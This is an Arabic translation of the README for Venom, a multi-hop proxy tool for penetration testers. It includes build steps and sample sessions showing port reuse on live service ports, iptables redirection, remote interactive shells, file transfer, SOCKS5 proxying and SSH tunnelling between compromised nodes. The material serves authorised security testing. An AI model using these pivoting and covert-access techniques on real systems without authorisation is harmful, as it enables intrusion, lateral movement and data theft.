
Venom - وكيل متعدد القفزات لمختبرِي الاختراق
Venom هي أداة وكيل متعدد المستويات مُطوَّرة بلغة Go ومصممة لمختبري الاختراق.
تسمح Venom بربط عدة عقد، ثم استخدام هذه العقد كمنصات انطلاق لبناء وكيل متعدد المستويات.
يمكن لمختبري الاختراق استخدام Venom بسهولة لتوجيه حركة مرور الشبكة عبر طبقات متعددة من الشبكات الداخلية، وإدارة عقد الوكيل بسهولة.
هذه الأداة مخصصة للبحث الأمني والتعليم فقط، ويتحمل المستخدم جميع المسؤوليات القانونية وما يتعلق بها نتيجة استخدام هذه الأداة! المؤلف لا يتحمل أي مسؤولية قانونية أو ذات صلة!
نظرًا لأن أجهزة إنترنت الأشياء (معماريات arm/mips/...) عادةً ما تكون محدودة الموارد، ومن أجل تقليل حجم الملف الثنائي، فإن الملفات الثنائية المترجمة لبيئة إنترنت الأشياء في هذا المشروع لا تدعم ميزتَي إعادة استخدام المنافذ ونفق SSH، كما أنها تحد من عدد الاتصالات المتزامنة وحجم المخزن المؤقت لتقليل استخدام الذاكرة.
يمكنك تنزيل واستخدام الملفات التنفيذية المترجمة مباشرة من الإصدارات
إذا كنت ترغب في ترجمة المشروع من المصدر، فستحتاج إلى تثبيت go >= 1.11، ثم تنفيذ الأوامر التالية:
go get -u github.com/Dliv3/Venom/...
# $GOPATH هو متغير بيئة تم تكوينه عند تثبيت Go، ويمكن التحقق منه باستخدام الأمر go env
cd $GOPATH/src/github.com/Dliv3/Venom
# الملفات الثنائية المترجمة تُخزَّن في مجلد release داخل الدليل الحالي
./build.sh
فيديو توضيحي على اليوتيوب: https://www.youtube.com/playlist?list=PLtZO9vwOND91vZ7yCmlAvISmEl2iQKjdI
يمكن لكل من عقدة admin وعقدة agent الاستماع للاتصالات أو بدء الاتصالات
عقدة admin تستمع على منفذ، وعقدة agent تبدأ الاتصال:
./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
عقدة agent تستمع على منفذ، وعقدة admin تبدأ الاتصال:
./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
عقدة agent تدعم إعادة استخدام المنافذ
توفر agent طريقتين لإعادة استخدام المنافذ:
باستخدام ميزة إعادة استخدام المنافذ التي توفرها Venom، يمكن على Windows إعادة استخدام منافذ خدمات مثل Apache وMySQL، ولا يمكن حاليًا إعادة استخدام منافذ خدمات مثل RDP وIIS، بينما يمكن على Linux إعادة استخدام معظم منافذ الخدمات. تظل المنافذ المُعاد استخدامها قادرة على تقديم خدماتها الأصلية بشكل طبيعي.
الطريقة الأولى لإعادة استخدام المنافذ
# مثال على Apache تحت Windows
# إعادة استخدام منفذ Apache 80، دون التأثير على خدمة http العادية لـ Apache
# قيمة -lhost هي عنوان IP المحلي، لا يمكن كتابة 0.0.0.0 وإلا فلن تنجح إعادة استخدام المنفذ
./agent.exe -lhost 192.168.204.139 -reuse-port 80
./admin_macos_x64 -rhost 192.168.204.139 -rport 80
الطريقة الثانية لإعادة استخدام المنافذ
help طباعة معلومات المساعدة
(admin node) >>> help
help معلومات المساعدة.
exit الخروج.
show عرض هيكل الشبكة.
getdes عرض وصف العقدة الهدف.
setdes [info] إضافة وصف للعقدة الهدف.
goto [id] تحديد id كعقدة هدف.
listen [lport] الاستماع على منفذ على العقدة الهدف.
connect [rhost] [rport] الاتصال بعقدة جديدة عبر العقدة الهدف.
sshconnect [user@ip:port] [dport] الاتصال بعقدة جديدة عبر نفق SSH.
shell بدء شل تفاعلي على العقدة الهدف.
upload [local_file] [remote_file] رفع ملفات إلى العقدة الهدف.
download [remote_file] [local_file] تنزيل ملفات من العقدة الهدف.
socks [lport] بدء خادم SOCKS5.
lforward [lhost] [sport] [dport] إعادة توجيه منفذ محلي إلى منفذ بعيد.
rforward [rhost] [sport] [dport] إعادة توجيه منفذ بعيد إلى منفذ محلي.
show عرض هيكل الشبكة
A تمثل عقدة admin، الأرقام تمثل عقد agent
يوضح هيكل الشبكة أدناه أن عقدة admin متصلة بالعقدة 1، والعقدة 1 متصلة بالعقدتين 2 و4، والعقدة 2 متصلة بالعقدة 3
(node 1) >>> show
A
+ -- 1
+ -- 2
+ -- 3
+ -- 4
يجب ملاحظة أنه لتشغيل العقد الجديدة، يجب أولاً تنفيذ الأمر show في عقدة admin لمزامنة هيكل الشبكة وأرقام العقد.
الانتقال إلى عقدة معينة
script/port_reuse.py لتفعيل قواعد إعادة استخدام المنافذ التي تم تعيينها بواسطة agent على الجهاز الهدف.# مثال على Apache تحت Linux
# تتطلب صلاحيات الجذر
sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
تضع هذه الطريقة قواعد iptables على الجهاز المحلي لتوجيه حركة المرور من reuse-port إلى lport، ثم تقوم agent بتوزيع حركة المرور.
يجب ملاحظة أنه إذا تم إنهاء البرنامج عبر إشارات sigterm أو sigint (kill أو ctrl-c)، يمكن للبرنامج تنظيف قواعد iptables تلقائيًا. إذا تم قتل agent باستخدام kill -9، فلن يتمكن من تنظيف قواعد iptables تلقائيًا، وسيتطلب ذلك التنظيف اليدوي لأن برنامج agent لا يمكنه معالجة إشارة sigkill.
لتجنب عدم قدرة قواعد iptables على التنظيف التلقائي مما يؤدي إلى عدم قدرة المخترق على الوصول إلى خدمة المنفذ 80، تستخدم الطريقة الثانية iptables -m recent للتحكم في تشغيل قواعد إعادة التوجيه عبر حزم TCP خاصة.
يعتمد التنفيذ هنا على https://threathunter.org/topic/594545184ea5b2f5516e2033
# تشغيل agent على الجهاز Linux يضع قواعد iptables
# إذا كان rhost في الشبكة الداخلية، يمكن استخدام وكيل SOCKS5 لتوجيه حركة مرور السكريبت، راجع استخدام وكيل SOCKS5 أدناه
python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80
# الاتصال بعقدة agent
./admin_macos_x64 -rhost 192.168.204.135 -rport 80
# لإيقاف قواعد إعادة التوجيه
python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80
تشفير الاتصالات بين العقد
توفر Venom تشفير الاتصالات بين العقد، ويمكن للمستخدم تحديد كلمة مرور عبر خيار -passwd لإنشاء مفتاح التشفير AES.
# تحديد كلمة المرور عبر -passwd كـ dlive@dubhe
./admin_macos_x64 -lport 8889 -passwd dlive@dubhe
# agent يحدد نفس كلمة المرور للاتصال بعقدة admin
./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe
(admin node) >>> goto 1
(node 1) >>>
بعد الانتقال إلى عقدة معينة، يمكنك استخدام الأوامر التالية.
getdes/setdes الحصول على/تعيين وصف العقدة
(node 1) >>> setdes linux x64 blahblahblah
(node 1) >>> getdes
linux x64 blahblahblah
connect/listen/sshconnect الاتصال بين العقد
العقدة node 1 تتصل بالمنفذ 9999 لـ 192.168.0.103
(node 1) >>> connect 192.168.0.103 9999
connect to 192.168.0.103 9999
successfully connect to the remote port!
(node 1) >>> show
A
+ -- 1
+ -- 2
الاستماع على المنفذ 9997 في العقدة node1، ثم تشغيل ./agent_linux_x64 -rhost 192.168.204.139 -rport 9997 على جهاز آخر للاتصال بـ node1
(node 1) >>> listen 9997
listen 9997
the port 9997 is successfully listening on the remote node!
(node 1) >>> show
A
+ -- 1
+ -- 2
+ -- 3
على 192.168.0.104، قم بتشغيل ./agent_linux_x64 -lport 9999، ثم node3 يتصل بالمنفذ 9999 لـ 192.168.0.104 عبر نفق SSH باستخدام sshconnect. يمكنك استخدام كلمة المرور أو مفتاح SSH للمصادقة.
(node 1) >>> goto 3
(node 3) >>> sshconnect [email protected]:22 9999
use password (1) / ssh key (2)? 2
file path of ssh key: /Users/dlive/.ssh/id_rsa
connect to target host's 9999 through ssh tunnel ([email protected]:22).
ssh successfully connects to the remote node!
(node 3) >>> show
A
+ -- 1
+ -- 2
+ -- 3
+ -- 4
shell الحصول على شل تفاعلي للعقدة
(node 1) >>> shell
You can execute commands in this shell :D, 'exit' to exit.
bash: no job control in this shell
bash-3.2$ whoami
whoami
dlive
bash-3.2$ exit
exit
exit
upload/download رفع/تنزيل الملفات من/إلى العقدة
رفع الملف المحلي /tmp/test.pdf إلى node1 كـ /tmp/test2.pdf
(node 1) >>> upload /tmp/test.pdf /tmp/test2.pdf
upload /tmp/test.pdf to node 1: /tmp/test2.pdf
this file is too large(>100M), do you still want to upload it? (y/n)y
154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
upload file successfully!
تنزيل الملف /tmp/test2.pdf من node1 إلى المحلي /tmp/test3.pdf
(node 1) >>> download /tmp/test2.pdf /tmp/test3.pdf
download /tmp/test2.pdf from node 1: /tmp/test3.pdf
this file is too large(>100M), do you still want to download it? (y/n)y
154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
download file successfully!
socks إنشاء وكيل SOCKS5 لعقدة معينة
(node 1) >>> socks 7777
a socks5 proxy of the target node has started up on local port 7777
بعد تنفيذ الأمر socks بنجاح، سيتم فتح منفذ محلي على عقدة admin، مثل المنفذ 7777 المذكور أعلاه، ويمكن استخدام المنفذ 7777 كوكيل SOCKS5.
lforward/rforward إعادة توجيه منفذ محلي إلى بعيد/إعادة توجيه منفذ بعيد إلى محلي
lforward يعيد توجيه المنفذ المحلي 8888 لعقدة admin إلى المنفذ 8888 لعقدة node1
(node 1) >>> lforward 127.0.0.1 8888 8888
forward local network 127.0.0.1 port 8888 to remote port 8888
rforward يعيد توجيه المنفذ 8889 من شبكة node1 (192.168.204.103) إلى المنفذ المحلي 8889 لعقدة admin
(node 1) >>> rforward 192.168.204.103 8889 8889
forward remote network 192.168.204.103 port 8889 to local port 8889